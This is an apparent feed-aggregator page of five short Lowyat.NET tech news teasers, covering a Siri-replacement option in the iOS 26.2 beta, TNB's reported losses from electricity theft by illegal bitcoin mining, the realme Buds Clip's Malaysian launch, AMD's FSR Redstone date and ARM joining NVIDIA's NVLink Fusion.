    Apple is preparing a significant change for iPhone users, with the latest iOS 26.2 beta offering early signs of an upcoming option to replace Siri as the default voice assistant. Code discovered in beta 3 shows new strings describing Side Button behaviour, pointing to a feature that allows users to choose a different app to […] The post iOS 26.2 Beta Lets iPhone Users Swap Siri For Third-Party Voice Assistants, But… appeared first on Lowyat.NET.  ( 35 min )
    TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020
    Tenaga Nasional Bhd (TNB) has incurred losses amounting to RM4.57 billion between 2020 and August this year due to electricity theft linked to illegal cryptocurrency mining. According to Deputy Prime Minister Datuk Seri Fadillah Yusof, TNB discovered 13,827 premises engaging in such activities, including bitcoin farms. Fadillah, who also serves as the Energy Transition and […] The post TNB Reports RM4.57 Billion Loss From Illegal Bitcoin Mining Since 2020 appeared first on Lowyat.NET.  ( 34 min )
    realme Buds Clip To Land In Malaysia On 24 November
    realme has just announced that the Buds Clip, the brand’s first open-ear earbuds, is arriving in Malaysia on 24 November, coinciding with the GT 8 Pro. And right off the bat, the design is very reminiscent of Huawei’s own FreeClip earbuds. Marketed towards “young, active users”, the Buds Clip promises to eliminate the pressure and […] The post realme Buds Clip To Land In Malaysia On 24 November appeared first on Lowyat.NET.  ( 33 min )
    AMD Set To Unveil FSR Redstone On 10 December
    It’s official: AMD will be premiering its next-generation upscaling technology, FSR Redstone, on 10 December this year. The red chipmaker isn’t divulging much else, meaning that we’ll have to wait until the date to hear more. Jack Huynh, senior vice president and general manager of the Computing and Graphics Group at AMD, has mentioned on […] The post AMD Set To Unveil FSR Redstone On 10 December appeared first on Lowyat.NET.  ( 34 min )
    ARM Joins NVIDIA NVLink Fusion Ecosystem
    ARM and NVIDIA have announced that the former will be joining the latter’s NVLink Fusion ecosystem. The announcement was made at the recent Supercomputing 25 conference. “Arm is integrating NVLink IP so that their customers can build their CPU SoCs to connect Nvidia GPUs,” said Dion Harris, the head of data center product marketing at […] The post ARM Joins NVIDIA NVLink Fusion Ecosystem appeared first on Lowyat.NET.  ( 33 min )
2025-12-03T18:30:10.637Z osmosfeed 1.15.1